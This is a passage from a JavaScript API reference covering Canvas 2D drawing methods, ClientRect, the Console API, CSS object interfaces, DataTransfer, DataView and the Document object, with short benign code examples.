The RGB color components of the returned pixels are not premultiplied by the alpha value. If any portions of the requested rectangle lie outside the bounds of the canvas, the associated pixels in the ImageData are set to transparent black (all zeros). If the implementation uses more than one device pixel per CSS pixel, the `width` and `height` properties of the returned ImageData object will be different from the *`sw`* and *`sh`* arguments.

Like `Canvas.toDataURL()`, this method is subject to a security check to prevent cross-origin information leakage. `getImageData()` only returns an ImageData object if the underlying canvas is "origin-clean"; otherwise, it raises an exception. A canvas is not origin-clean if it has ever had an image drawn in it (directly by `drawImage()` or indirectly through a CanvasPattern)

that has a different origin than the document that contains the canvas. Also, a canvas is not origin-clean if it has ever had text drawn to it using a web font from a different origin.

`boolean isPointInPath(double x, y)`

`isPointInPath()` returns `true` if the specified point falls within or on the edge of the current path and returns `false` otherwise. The specified point is not transformed by the current transformation matrix. *x* should be a value between 0 and `canvas.width` and *y* should be a value between 0 and `canvas.height`.

The reason that `isPointInPath()` tests untransformed points is that it is designed for "hit-testing": determining whether a user's mouse click (for example) is on top of the portion of the canvas described by the path. In order to do hit-testing, mouse coordinates must first be translated so that they are relative to the canvas rather than the window. If the canvas's size on the screen is different than the size declared by its `width` and `height` attributes (if `style.width` and `style.height` have been set, for example), the mouse coordinates also have to be scaled to match the canvas coordinates. The following function is designed for use as an onclick handler of a `<canvas>` and performs the necessary transformation to convert mouse coordinates to canvas coordinates:

```
// An onclick handler for a canvas tag.  Assumes a path is currently defined.
function hittest(event) {
    var canvas = this;                  // Called in the context of the canvas
    var c = canvas.getContext("2d");    // Get drawing context of the canvas

    // Get the canvas size and position
    var bb = canvas.getBoundingClientRect();

    // Convert mouse event coordinates to canvas coordinates
    var x = (event.clientX-bb.left)*(canvas.width/bb.width);
    var y = (event.clientY-bb.top)*(canvas.height/bb.height);

    // Fill the path if the user clicked on it
    if (c.isPointInPath(x,y)) c.fill();
}
```

`void lineTo(double x, double y)`

`lineTo()` adds a straight line to the current subpath. The line begins at the current point and ends at `(x,y)`. When this method returns, the current position is `(x,y)`.

`TextMetrics measureText(string text)`

`measureText()` measures the width that the specified *text* would occupy if drawn with the current `font` and returns a `TextMetrics` object containing the results of the measurement. At the time of this writing, the returned object has only a single `width` property, and the text height and bounding box are not measured.

`void moveTo(double x, double y)`

`moveTo()` sets the current position to `(x,y)` and begins a new subpath with this as its first point. If there was a previous subpath and it consisted of just one point, that empty subpath is removed from the path.

Download from Wow! eBook <www.wowebook.com>

`void **putImageData**(ImageData *imagedata*, double *dx*, *dy*, [*sx*, *sy*, *sw*, *sh*])`

`putImageData()` copies a rectangular block of pixels from an ImageData object onto the canvas. This is a low-level pixel copy operation: the `globalCompositeOperation` and `globalAlpha` attribute are ignored, as are the clipping region, transformation matrix, and shadow-drawing attributes.

The *dx* and *dy* arguments specify the *destination* point in the canvas. Pixels from *data* will be copied to the canvas starting at that point. These arguments are not transformed by the current transformation matrix.

The last four arguments specify a source rectangle within the ImageData. If specified, only the pixels within that rectangle will be copied to the canvas. If these arguments are omitted, all pixels in the ImageData will be copied. If these arguments specify a rectangle that exceeds the bounds of the ImageData, the rectangle will be clipped to those bounds. Negative values for *sx* and *sy* are allowed.

One use for ImageData objects is as a "backing store" for a canvas—saving a copy of the canvas pixels in an ImageData (using `getImageData()`) allows you to draw temporarily on the canvas and then restore it to its original state with `putImageData()`.

`void **quadraticCurveTo**(double *cpx*, *cpy*, *x*, *y*)`

This method adds a quadratic Bezier curve segment to the current subpath. The curve starts at the current point and ends at `(x,y)`. The control point `(cpX, cpY)` specifies the shape of the curve between these two points. (The mathematics of Bezier curves is beyond the scope of this book, however.) When this method returns, the current position is `(x,y)`. Also see the `bezierCurveTo()` method.

`void **rect**(double *x*, *y*, *w*, *h*)`

This method adds a rectangle to the path. This rectangle is in a subpath of its own and is not connected to any other subpaths in the path. When this method returns, the current position is `(x,y)`. A call to this method is equivalent to the following sequence of calls:

```
c.moveTo(x,y);
c.lineTo(x+w, y);
c.lineTo(x+w, y+h);
c.lineTo(x, y+h);
c.closePath();
```

`void **restore**()`

This method pops the stack of saved graphics states and restores the values of the CanvasRenderingContext2D properties, the clipping path, and the transformation matrix. See the `save()` method for further information.

`void **rotate**(double *angle*)`

This method alters the current transformation matrix so that any subsequent drawing appears rotated within the canvas by the specified angle. It does not rotate the `<canvas>` element itself. Note that the angle is specified in radians. To convert degrees to radians, multiply by `Math.PI` and divide by 180.

`void save()`

`save()` pushes a copy of the current graphics state onto a stack of saved graphics states. This allows you to temporarily change the graphics state, and then restore the previous values with a call to `restore()`.

The graphics state of a canvas includes all the properties of the CanvasRenderingContext2D object (except for the read-only `canvas` property). It also includes the transformation matrix that is the result of calls to `rotate()`, `scale()`, and `translate()`. Additionally, it includes the clipping path, which is specified with the `clip()` method. Note, however, that the current path and current position are not part of the graphics state and are not saved by this method.

`void scale(double sx, double sy)`

`scale()` adds a scale transformation to the current transformation matrix of the canvas. Scaling is done with independent horizontal and vertical scaling factors. For example, passing the values 2.0 and 0.5 causes subsequently drawn paths to be twice as wide and half as high as they would otherwise have been. Specifying a negative value for *sx* causes X coordinates to be flipped across the Y axis, and a negative value of *sy* causes Y coordinates to be flipped across the X axis.

`void setTransform(double a, b, c, d, e, f)`

This method allows you to set the current transformation matrix directly rather than through a series of calls to `translate()`, `scale()`, and `rotate()`. After calling this method, the new transformation is:

```
x'   a c e   x   =  ax + cy + e
y' = b d f × y   =  bx + dy + f
1    0 0 1   1
```

`void stroke()`

The `stroke()` method draws the outline of the current path. The path defines the geometry of the line that is produced, but the visual appearance of that line depends on the `strokeStyle`, `lineWidth`, `lineCap`, `lineJoin`, and `miterLimit` properties.

The term *stroke* refers to a pen or brush stroke. It means "draw the outline of." Contrast this `stroke()` method with `fill()`, which fills the interior of a path rather than stroking the outline of the path.

`void strokeRect(double x, y, w, h)`

This method draws the outline (but does not fill the interior) of a rectangle with the specified position and size. Line color and line width are specified by the `strokeStyle` and `lineWidth` properties. The appearance of the rectangle corners is specified by the `lineJoin` property.

Unlike the `rect()` method, `strokeRect()` has no effect on the current path or the current point.

`void strokeText(string text, double x, y, [maxWidth])`

`strokeText()` works just like `fillText()`, except that instead of filling the individual character glyphs with `fillStyle`, it strokes the outline of each glyph using `strokeStyle`. `strokeText()` produces interesting graphical effects when used at large font sizes, but `fillText()` is more commonly used for actually drawing text.

`void transform(double a, b, c, d, e, f)`

The arguments to this method specify the six nontrivial elements of a 3x3 affine transformation matrix `T`:

```
a c e
b d f
0 0 1
```

`transform()` sets the current transformation matrix to the product of the transformation matrix and the `T`:

```
CTM' = CTM × T
```

Translations, scales, and rotations can be implemented in terms of this general-purpose `transform()` method. For a translation, call `transform(1,0,0,1,dx,dy)`. For a scale, call `transform(sx, 0, 0, sy, 0, 0)`. For a clockwise rotation around the origin by an angle `x`, use:

```
transform(cos(x),sin(x),-sin(x), cos(x), 0, 0)
```

For a shear by a factor of `k` parallel to the X axis, call `transform(1,0,k,1,0,0)`. For a shear parallel to the Y axis, call `transform(1,k,0,1,0,0)`.

`void translate(double x, double y)`

`translate()` adds horizontal and vertical offsets to the transformation matrix of the canvas. The arguments *dx* and *dy* are added to all points in any subsequently defined paths.

ClientRect

an element bounding box

A ClientRect object describes a rectangle, using Window or viewport coordinates. The `getBoundingClientRect()` method of `Element` returns objects of this kind to describe the on-screen bounding box of an element. ClientRect objects are x static: they do not change when the element they describe changes.

Properties

`readonly float bottom`
: The Y position, in viewport coordinates, of the bottom edge of the rectangle.

`readonly float height`
: The height, in pixels, of the rectangle. In IE8 and before, this property is not defined; use `bottom-top` instead.

`readonly float left`
: The X position, in viewport coordinates, of the left edge of the rectangle.

`readonly float right`
: The X position, in viewport coordinates, of the right edge of the rectangle.

`readonly float top`
: The Y position, in viewport coordinates, of the top edge of the rectangle.

`readonly float` **`width`**
The width, in pixels, of the rectangle. In IE8 and before, this property is not defined; use `right-left` instead.

CloseEvent

specifies whether a WebSocket closed cleanly — Event

When a `WebSocket` connection closes, a nonbubbling, noncancelable close event is fired on the WebSocket object and an associated CloseEvent object is passed to any registered event handlers.

Properties

`readonly boolean` **`wasClean`**
If the WebSocket connection closed in the controlled way specified by WebSocket protocol, with acknowledgment between client and server, the close is said to be *clean*, and this property will be `true`. If this property is `false`, the WebSocket may have closed as the result of a network error of some sort.

Comment

an HTML or XML comment — Node

A Comment node represents a comment in an HTML or XML document. The content of the comment (i.e., the text between `<!--` and `-->`) is available through the `data` property or through the `nodeValue` property inherited from Node. You can create a comment object with `Document.createComment()`.

Properties

`string` **`data`**
The text of the comment.

`readonly unsigned long` **`length`**
The number of characters in the comment.

Methods

`void` **`appendData`**`(string` *`data`*`)`
`void` **`deleteData`**`(unsigned long` *`offset`*`, unsigned long` *`count`*`)`
`void` **`insertData`**`(unsigned long` *`offset`*`, string` *`data`*`)`
`void` **`replaceData`**`(unsigned long` *`offset`*`, unsigned long` *`count`*`, string` *`data`*`)`
`string` **`substringData`**`(unsigned long` *`offset`*`, unsigned long` *`count`*`)`
Comment nodes have most of the methods of a Text node, and those methods work as they do on Text nodes. They are listed here, but see `Text` for documentation.

Console

debugging output

Modern browsers (and older ones with debugger extensions, such as Firebug, installed) define a global property `console` that refers to a Console object. The methods of this object define a API for simple debugging tasks, such as logging messages to a console window (the console may go by a name such as "Developer Tools" or "Web Inspector").

There is no formal standard that defines the Console API, but the Firebug debugger extension for Firefox has established a de facto standard and browser vendors seem to be implementing the Firebug API, which is documented here. Support for the basic `console.log()` function is nearly universal, but the other functions may not be as well supported in all browsers.

Note that in some older browsers, the `console` property is only defined when the console window is open, and running scripts that use the Console API without the console open will cause errors.

See also `ConsoleCommandLine`.

Methods

`void assert(any expression, string message)`

Display an error *`message`* on the console if *`expression`* is `false` or a falsy value like `null`, `undefined`, `0`, or the empty string.

`void count([string title])`

Display the specified *`title`* string along with a count of the number of times that this method has been called with that string.

`void debug(any message...)`

Like `console.log()`, but mark the output as debugging information.

`void dir(any object)`

Display the JavaScript *`object`* on the console in a way that allows the developer to examine its properties or elements and interactively explore nested objects or arrays.

`void dirxml(any node)`

Display XML or HTML markup for the document *`node`* in the console.

`void error(any message...)`

Like `console.log()`, but mark the output as an error.

`void group(any message...)`

Display *`message`* in the same way that `log()` does, but display it as the title of a collapsible group of debug messages. All subsequent console output will be formatted as part of this group until a corresponding call to `groupEnd()` occurs.

`void groupCollapsed(any message...)`

Begin a new group of messages, but start it in its collapsed state, so that subsequent debugging output is hidden by default.

`void groupEnd()`

End the debugging output group most recently started with `group()` or `groupCollapsed()`.

`void info(any message...)`

Like `console.log()`, but mark the output as an informative message.

`void log(string format, any message...)`

This method displays its arguments in the console. In the simplest case, when *`format`* does not contain any % characters, it simply converts its arguments to strings and displays them with spaces in between. When an object is passed to this method, the string that is displayed in the console will be clickable to view the contents of the object.

For more complex log messages, this method supports a simple subset of the C language `printf()` formatting capabilities. The *`message`* arguments will be interpolated into the *`format`* argument in place of the character sequences "%s", "%d", "%i", "%f", and "%o", and then the formatted string will be displayed in the console (followed by any unused *`message`* arguments). Arguments that replace "%s" are formatted as strings. Those that replace "%d" or "%i" are formatted as integers. Those that replace "%f" are formatted as floating-point numbers, and those that replace "%o" are formatted as clickable objects.

`void profile([string title])`

Start the JavaScript profiler, and display *`title`* at the start of its report.

`void profileEnd()`

Stop the profiler and display its code profiling report.

`void time(string name)`

Start a timer with the specified *`name`*.

`void timeEnd(string name)`

End the timer with the specified *`name`*, and display the name and the time elapsed since the corresponding call to `time()`

`void trace()`

Display a stack trace.

`void warn(any message...)`

Like `console.log()`, but mark the output as a warning.

ConsoleCommandLine

global utilities for the console window

Most web browsers support a JavaScript console (which may be known by a name like "Developer Tools" or "Web Inspector") that allows you to enter individual lines of JavaScript code. In addition to the normal global variables and functions of client-side JavaScript, the console command line typically supports the useful properties and functions described here. See also the `Console` API.

Properties

`readonly Element $0`
: The document element most recently selected via some other feature of the debugger.

`readonly Element $1`
: The document element selected before `$0`.

Methods

`void cd(Window frame)`

When a document includes nested frames, the `cd()` function allows you to switch global objects and execute subsequent commands in the scope of the specified *`frame`*.

`void clear()`

Clear the console window.

`void dir(object o)`

Display the properties or elements of *`o`*. Like `Console.dir()`.

`void dirxml(Element elt)`

Display an XML or HTML-based representation of *`elt`*. Like `Console.dirxml()`.

`Element $(string id)`

A shortcut for `document.getElementById()`.

`NodeList $$(string selector)`

Return an array-like object of all elements matching the specified CSS *`selector`*. This is a shortcut for `document.querySelectorAll()`. In some consoles, it returns a true array rather than a NodeList.

`void inspect(any object, [string tabname])`

Display the *`object`*, possibly switching from the console to a different tab of the debugger. The second argument is an optional hint about how you would like the object displayed. Supported values may include "html", "css", "script", and "dom".

`string[] keys(any object)`

Returns an array of the property names for *`object`*.

`void monitorEvents(Element object, [string type])`

Log events of the specified *`type`* dispatched to *`object`*. Values for *`type`* include "mouse", "key", "text", "load", "form", "drag", and "contextmenu". If *`type`* is omitted, all events on *`object`* are logged.

`void profile(string title)`

Begin code profiling. See `Console.profile()`.

`void profileEnd()`

End profiling. See `Console.profileEnd()`.

```
void unmonitorEvents(Element object, [string type])
```

Stop monitoring *type* events on *object*.

```
any[] values(any object)
```

Returns an array of the property values for *object*.

CSS2Properties

see CSSStyleDeclaration

CSSRule

a rule in a CSS stylesheet

Description

A CSSRule object represents a rule in a `CSSStyleSheet`: it represents style information to be applied to a specific set of document elements. `selectorText` is the string representation of the element selector for this rule, and `style` is a `CSSStyleDeclaration` object that represents the set of style attributes and values to apply to the selected elements.

The CSS Object Model specification actually defines a hierarchy of CSSRule subtypes to represent different kinds of rules that can appear in a CSS stylesheet. The properties listed here are properties of the generic CSSRule type and of its CSSStyleRule subtype. Style rules are the most common and most important types of rules in a stylesheet, and the ones you are most likely to script.

In IE8 and before, CSSRule objects support only the `selectorText` and `style` properties.

Constants

```
unsigned short STYLE_RULE = 1
unsigned short IMPORT_RULE = 3
unsigned short MEDIA_RULE = 4
unsigned short FONT_FACE_RULE = 5
unsigned short PAGE_RULE = 6
unsigned short NAMESPACE_RULE = 10
```

These are the possible values of the `type` property below and they specify what kind of rule it is. If `type` is anything other than 1, the CSSRule object will have other properties that are not documented here.

Properties

```
string cssText
```

The complete text of this CSS rule.

```
readonly CSSRule parentRule
```

The rule, if any, within which this rule is contained.

`readonly CSSStyleSheet` **`parentStyleSheet`**
: The stylesheet within which this rule is contained.

`string` **`selectorText`**
: When `type` is `STYLE_RULE`, this property holds the selector text that specifies the document elements this style rule applies to.

`readonly CSSStyleDeclaration` **`style`**
: When `type` is `STYLE_RULE`, this property specifies the styles that should be applied to elements specified by `selectorText`. Note that while the `style` property itself is read-only, the properties of the CSSStyleDeclaration object to which it refers are read/write.

`readonly unsigned short` **`type`**
: The type of this rule. The value will be one of the constants defined above.

CSSStyleDeclaration

a set of CSS attributes and their values

A CSSStyleDeclaration object represents a set of CSS style attributes and their values, and it allows those style values to be queried and set using JavaScript property names that are similar to CSS property names. The `style` property of an HTMLElement is a read/write CSSStyleDeclaration object, as is the `style` property of a CSSRule object. The return value of `Window.getComputedStyle()`, however, is a CSSStyleDeclaration object whose properties are read-only.

A CSSStyleDeclaration object makes CSS style attributes available through JavaScript properties. The names of these JavaScript properties correspond closely to the CSS attribute names, with minor changes required to avoid syntax errors in JavaScript. Multiword attributes that contain hyphens, such as "font-family", are written without hyphens in JavaScript, with each word after the first capitalized: `fontFamily`. Also, the "float" attribute conflicts with the reserved word `float`, so it translates to the property `cssFloat`. Note that you can use unmodified CSS attribute names if you use strings and square brackets to access the properties.

Properties

In addition to the properties described above, a CSSStyleDeclaration has two additional properties:

`string` **`cssText`**
: The textual representation of a set of style attributes and their values. The text is formatted as in a CSS stylesheet, minus the element selector and the curly braces that surround the attributes and values.

`readonly unsigned long` **`length`**
: The number of attribute/value pairs contained in this CSSStyleDeclaration. A CSSStyleDeclaration object is also an array-like object whose elements are the names of the CSS style attributes that are declared.

CSSStyleSheet

a CSS stylesheet

This interface represents a CSS stylesheet. It has properties and methods for disabling the stylesheet, and for querying, inserting, and removing `CSSRule` style rules. The CSSStyleSheet objects that apply to a document are members of the `styleSheets[]` array of the Document object and may also be available through the `sheet` property of the `<style>` or `<link>` element that defines or links to the stylesheet.

In IE8 and before, use the `rules[]` array instead of `cssRules[]`, and use `addRule()` and `removeRule()` instead of the DOM standard `insertRule()` and `deleteRule()`.

Properties

`readonly CSSRule[] cssRules`
: A read-only, array-like object holding the CSSRule objects that compose the stylesheet. In IE, use the `rules` property instead.

`boolean disabled`
: If `true`, the stylesheet is disabled and is not applied to the document. If `false`, the stylesheet is enabled and is applied to the document.

`readonly string href`
: The URL of a stylesheet that is linked to the document, or `null` for inline stylesheets.

`readonly string media`
: A list of media to which this stylesheet applies. You can query and set this property as a single string, or treat it as an array-like object of media types with `appendMedium()` and `deleteMedium()` methods. (Formally, the value of this property is a MediaList object, but that type is not covered in this reference.)

`readonly Node ownerNode`
: The document element that "owns" this stylesheet, or `null` if there isn't one. See `Link` and `Style`.

`readonly CSSRule ownerRule`
: The CSSRule (from a parent stylesheet) that caused this stylesheet to be included, or `null` if this stylesheet was included in some other way. (Note that the entry for CSSRule in this reference only documents style rules, not @import rules.)

`readonly CSSStyleSheet parentStyleSheet`
: The stylesheet that included this one, or `null` if this stylesheet was included directly in the document.

`readonly string title`
: The title of the stylesheet, if specified. A title can be specified by the `title` attribute of a `<style>` or `<link>` element that refers to the stylesheet.

`readonly string type`
: The MIME type of this stylesheet. CSS stylesheets have a type of "text/css".

Methods

`void` **`deleteRule`**`(unsigned long` *`index`*`)`

This method deletes the rule at the specified *`index`* from the `cssRules` array. In IE8 and before, use the equivalent method `removeRule()` instead.

`unsigned long` **`insertRule`**`(string` *`rule`*`, unsigned long` *`index`*`)`

This method inserts (or appends) a new CSS *`rule`* (a single string that specifies selector and styles within curly braces) at the specified *`index`* of the `cssRules` array of this stylesheet. In IE8 and before, use `addRule()` instead, and pass the selector string and the styles string (without curly braces) as two separate arguments, passing the index as the third argument.

DataTransfer

a transfer of data via drag-and-drop

When the user performs a drag-and-drop operation, a sequence of events is fired on the drag source or the drop target (or both, if they are both in a browser window). These events are accompanied by an event object whose `dataTransfer` property (see `Event`) refers to a DataTransfer object. The DataTransfer object is the central object for any drag-and-drop operation: the drag source stores the data to be transferred in it, and the drop target extracts the transferred data from it. In addition, the DataTransfer object manages a negotiation between the drag source and drop target about whether the drag-and-drop should be a copy, move, or link operation.

The API described here was created by Microsoft for IE, and it has been at least partially implemented by other browsers. HTML5 standardizes the basic IE API. As this book goes to press, HTML5 has defined a new version of the API that defines the `items` property as an array-like object of DataTransferItem objects. This is an appealing and rational API, but since no browsers yet implement it, it is not documented here. Instead, this page documents the features that (mostly) work in current browsers. See §17.7 for further discussion of this quirky API.

Properties

`string` **`dropEffect`**

This property specifies the type of data transfer this object represents. It must have one of the values “none”, “copy”, “move”, or “link”. Typically, the drop target will set this property from a dragenter or dragover event. The value of this property may also be affected by the modifier keys that the user holds down while performing the drag, but that is platform-dependent.

`string` **`effectAllowed`**

This property specifies what combination of copy, move, and link transfers are allowed for this drag-and-drop operation. It is typically set by the drag source in response to the dragstart event. Legal values are “none”, “copy”, “copyLink”, “copyMove”, “link”, “linkMove”, “move”, and “all”. (As a mnemonic, note that in the values that specify two operations, the operation names always appear in alphabetical order.)

`readonly File[] files`
: If the data being dragged is one or more files, this property will be set to an array or array-like object of File objects.

`readonly string[] types`
: This is an array-like object of strings that specify the MIME types of the data that has been stored in this DataTransfer object (with `setData()` if the drag source is within the browser or by some other mechanism if the drag source is outside of the browser). The array-like object that holds the types is supposed to have a `contains()` method for testing whether a specific string is present. Some browsers just make this a true array, however, and in that case, you can use the `indexOf()` method instead.

Methods

```
void addElement(Element element)
```

This method tells the browser to use *`element`* when creating the visual effect that the user sees while dragging. This method is generally called by the drag source, and it may not be implemented or have any effect in all browsers.

```
void clearData([string format])
```

Removes any data in the specified *`format`* that was previously set with `setData()`.

```
string getData(string format)
```

Return the transferred data in the specified *`format`*. If *`format`* is equal (ignoring case) to "text", use "text/plain" instead. And if it is equal (ignoring case) to "url", use "text/uri-list" instead. This method is called by the drop target in response to the drop event at the end of a drag-and-drop operation.

```
void setData(string format, string data)
```

Specify the *`data`* to be transferred, and the MIME type *`format`* of that data. The drag source calls this method in response to a dragstart event at the beginning of a drag-and-drop operation. It cannot be called from any other event handler. If the drag source can make its data available in more than one format, it can call this method multiple times to register values for each supported format.

```
void setDragImage(Element image, long x, long y)
```

This method specifies an *`image`* (typically an `<img>` element) that should be displayed to the user as a visual representation of the value being dragged. The *`x`* and *`y`* coordinates give mouse pointer offsets within the image. This method can only be called by the drag source in response to the dragstart event.

DataView

read and write values from an ArrayBuffer — ArrayBufferView

A DataView is an `ArrayBufferView` that wraps an ArrayBuffer (or a region of an array buffer) and defines methods for reading and writing 1-, 2-, and 4-byte signed and unsigned integers

and 4- and 8-byte floating-point numbers from or into the buffer. The methods support both big-endian and little-endian byte orders. See also `TypedArray`.

Constructor

```
new DataView(ArrayBuffer buffer,
             [unsigned long byteOffset], [unsigned long byteLength])
```

This constructor creates a new DataView object that allows read and write access to the bytes in *`buffer`* or a region of *`buffer`*. With one argument, it creates a view of the entire buffer. With two arguments, it creates a view that extends from byte number `byteOffset` to the end of the buffer. And with three arguments, it creates a view of the *`byteLength`* bytes starting at *`byteOffset`*.

Methods

Each of these method reads a numeric value from, or writes a numeric value into, the underlying ArrayBuffer. The method name specifies the type that is read or written. All methods that read or write more than one byte accept an optional final *`littleEndian`* argument. If this argument is omitted, or is `false`, big-endian byte ordering is used, with the most significant bytes being read or written first. If the argument is `true`, however, little-endian byte ordering is used.

```
float getFloat32(unsigned long byteOffset, [boolean littleEndian])
```

Interpret the 4 bytes starting at *`byteOffset`* as a floating-point number and return that number.

```
double getFloat64(unsigned long byteOffset, [boolean littleEndian])
```

Interpret the 8 bytes starting at *`byteOffset`* as a floating-point number and return that number.

```
short getInt16(unsigned long byteOffset, [boolean littleEndian])
```

Interpret the 2 bytes starting at *`byteOffset`* as a signed integer number and return that number.

```
long getInt32(unsigned long byteOffset, [boolean littleEndian])
```

Interpret the 4 bytes starting at *`byteOffset`* as a signed integer number and return that number.

```
byte getInt8(unsigned long byteOffset)
```

Interpret the byte at *`byteOffset`* as a signed integer number and return that number.

```
unsigned short getUint16(unsigned long byteOffset, [boolean littleEndian])
```

Interpret the 2 bytes starting at *`byteOffset`* as an unsigned integer number and return that number.

```
unsigned long getUint32(unsigned long byteOffset, [boolean littleEndian])
```

Interpret the 4 bytes starting at *`byteOffset`* as an unsigned integer number and return that number.

```
unsigned byte getUint8(unsigned long byteOffset)
```

Interpret the byte at *`byteOffset`* as an unsigned integer number and return that number.

```
void setFloat32(unsigned long byteOffset, float value, [boolean littleEndian])
```

Convert *`value`* to a 4-byte floating-point representation and write those bytes at *`byteOffset`*.

`void setFloat64(unsigned long byteOffset, double value, [boolean littleEndian])`

Convert *value* to an 8-byte floating-point representation and write those bytes at *byteOffset*.

`void setInt16(unsigned long byteOffset, short value, [boolean littleEndian])`

Convert *value* to a 2-byte integer representation and write those bytes at *byteOffset*.

`void setInt32(unsigned long byteOffset, long value, [boolean littleEndian])`

Convert *value* to a 4-byte integer representation and write those bytes at *byteOffset*.

`void setInt8(unsigned long byteOffset, byte value)`

Convert *value* to a 1-byte integer representation and write that byte at *byteOffset*.

`void setUint16(unsigned long byteOffset,unsigned short value,[boolean little Endian])`

Convert *value* to a 2-byte unsigned integer representation and write those bytes at *byteOffset*.

`void setUint32(unsigned long byteOffset, unsigned long value, [boolean littleEndian])`

Convert *value* to a 4-byte unsigned integer representation and write those bytes at *byteOffset*.

`void setUint8(unsigned long byteOffset, octet value)`

Convert *value* to a 1-byte unsigned integer representation and write that byte at *byteOffset*.

Document

an HTML or XML document — Node

A Document object is a Node that serves as the root of a document tree. The `documentElement` property is the root Element of the document. A Document node may have other children (such as Comment and DocumentType nodes), but it has only one Element child that holds all the content of the document.

You most commonly obtain a Document object via the `document` property of a Window. Document objects are also available through the `contentDocument` property of IFrame elements or the `ownerDocument` property of any Node.

Most of the properties of a Document object provide access to elements of the document or to other important objects associated with the document. A number of Document methods do the same thing: provide a way to look up elements within the document tree. Many other Document methods are "factory methods" that create elements and related objects.

Documents, like the Elements they contain, are event targets. They implement the methods defined by `EventTarget`, and they also support quite a few event handler properties.

You can create new Document objects by using the `createDocument()` and `createHTMLDocument()` methods of the DOMImplementation:

```
document.implementation.createHTMLDocument("New Doc");
```

It is also possible to load an HTML or XML file from the network and parse it into a Document object. See the `responseXML` property of the `XMLHttpRequest` object.

The reference entry for HTMLDocument, which appeared in previous versions of this book, has been merged into this page. Note that some of the properties, methods, and event handlers described here are HTML-specific and will not work for XML documents.

Properties

In addition to the properties listed here, you can also use the value of the `name` attribute of `<iframe>`, `<form>`, and `<img>` elements as document properties. The value of these properties is the named Element or a NodeList of such elements. For named `<iframe>` elements, however, the property refers to the Window object of the `<iframe>`. See §15.2.2 for details.

`readonly Element` **`activeElement`**
: The document element that currently has the keyboard focus.

`Element` **`body`**
: For HTML documents, this element refers to the `<body>` Element. (For documents that define framesets, this property refers to the outermost `<frameset>` instead.)

`readonly string` **`characterSet`**
: The character encoding of this document.

`string` **`charset`**
: The character encoding of this document. This is like `characterSet`, but you can set it to change the encoding.

`readonly string` **`compatMode`**
: This property is the string "BackCompat" if the document is being rendered in CSS "quirks mode" for backward compatibility with very old browsers. Otherwise, this property is "CSS1Compat".

`string` **`cookie`**
: This property allows you to read, create, modify, and delete the cookie or cookies that apply to the current document. A *cookie* is a small amount of named data stored by the web browser. It gives web browsers a "memory" so they can use data input on one page in another page or recall user preferences across web browsing sessions. Cookie data is automatically transmitted between web browser and web server when appropriate so server-side scripts can read and write cookie values. Client-side JavaScript code can also read and write cookies with this property. Note that this is a read/write property but the value you read from it is not, in general, the same as the value you write. See §20.2 for details.

`readonly string` **`defaultCharset`**
: The browser's default character set.

`readonly Window` **`defaultView`**
: The web browser Window object in which this document is displayed.

`string` **`designMode`**
If this property is "on", the entire document is editable. If it is "off", the entire document is not editable. (But elements with their `contenteditable` property set may still be editable, of course.) See §15.10.4.

`string` **`dir`**
For HTML documents, this property mirrors the `dir` attribute of the `<html>` element. It is the same, therefore, as `documentElement.dir`.

`readonly DocumentType` **`doctype`**
The DocumentType node that represents the document's `<!DOCTYPE>`.

`readonly Element` **`documentElement`**
The root element of the document. For HTML documents, this property is always the Element object representing the `<html>` tag. This root element is also available through the `childNodes[]` array inherited from Node, but it is not generally the first element of that array. See also the `body` property.

`string` **`domain`**
The hostname of the server from which the document was loaded, or `null` if there is none. You can set this property to a suffix of itself in order to relax the same-origin policy and grant access to documents served from related domains. See §13.6.2.1 for details.

`readonly HTMLCollection` **`embeds`**
An array-like object of `<embed>` elements in the document.

`readonly HTMLCollection` **`forms`**
An array-like object of all Form elements in the document.

`readonly Element` **`head`**
For HTML documents, this property refers to the `<head>` element.

`readonly HTMLCollection` **`images`**
An array-like object of all Image elements in the document.

`readonly DOMImplementation` **`implementation`**
The DOMImplementation object for this document.

`readonly string` **`lastModified`**
Specifies the date and time of the most recent modification to the document. This value comes from the Last-Modified HTTP header that is optionally sent by the web server.

`readonly HTMLCollection` **`links`**
An array-like object of all hyperlinks in the document. This HTMLCollection contains all `<a>` and `<area>` elements that have `href` attributes, and does not include `<link>` elements. See `Link`.

`readonly Location` **`location`**
A synonym for `Window.location`.

`readonly HTMLCollection` **`plugins`**
A synonym for the `embeds` property.

`readonly string` **`readyState`**
: This property is the string "loading" if the document is still loading and "complete" if it is fully loaded. The browser fires a readystatechange event at the Document when this property changes to "complete".

`readonly string` **`referrer`**
: The URL of the document that linked to this document, or `null` if this document was not accessed through a hyperlink or if the web server did not report the referring document. This property allows client-side JavaScript to access the HTTP `referer` header. Note the spelling difference, however: the HTTP header has three r's, and the JavaScript property has four r's.

`readonly HTMLCollection` **`scripts`**
: An array-like object of all the `<script>` elements in the document.

`readonly CSSStyleSheet[]` **`styleSheets`**
: A collection of objects representing all stylesheets embedded in or linked into a document. In HTML documents, this includes stylesheets defined with `<link>` and `<style>` tags.

`string` **`title`**
: The plain-text content of the `<title>` tag for this document.

`readonly string` **`URL`**
: The URL from which the document was loaded. This value is often the same as the `location.href` property, but if a script changes the fragment identifier (the `location.hash` property), the `location` property and the `URL` property will no longer refer to the same URL. Don't confuse `Document.URL` with `Window.URL`.

Methods

`Node` **`adoptNode`**`(Node` *`node`*`)`

This method removes *node* from whatever document it is currently part of and changes its `ownerDocument` property to this document, making it ready for insertion into this document. Contrast this with `importNode()`, which copies a node from another document without removing it.

`void` **`close`**`()`

Closes a document stream opened with the `open()` method, forcing any buffered output to be displayed.

`Comment` **`createComment`**`(string` *`data`*`)`

Create and return a new Comment node with the specified content.

`DocumentFragment` **`createDocumentFragment`**`()`

Create and return a new, empty DocumentFragment node.

`Element` **`createElement`**`(string` *`localName`*`)`

Create and return a new, empty Element node with the specified tag name. In HTML documents, the tag name is converted to uppercase.

`Element` **`createElementNS`**`(string` *`namespace`*`, string` *`qualifiedName`*`)`

Create and return a new, empty, Element node. The first argument specifies the namespace URI for the element, and the second argument specifies the namespace prefix, a colon, and the tag name of the element.

`Event` **`createEvent`**`(string` *`eventInterface`*`)`

Create and return an uninitialized synthetic Event object. The argument must specify the type of event, and the argument should be a string such as "Event", "UIEvent", "MouseEvent", "MessageEvent", or so on. After creating an Event object, you can initialize its read-only properties by calling an appropriate event-initialization method on it, such as `initEvent()`, `initUIEvent()`, `initMouseEvent()`, or so on. Most of these event-specific initialization methods are not covered in this book, but see `Event.initEvent()` for the simplest one. When you have created and initialized an synthetic event object, you can dispatch it using the `dispatchEvent()` method of `EventTarget`. Synthetic events will always have an `isTrusted` property of `false`.

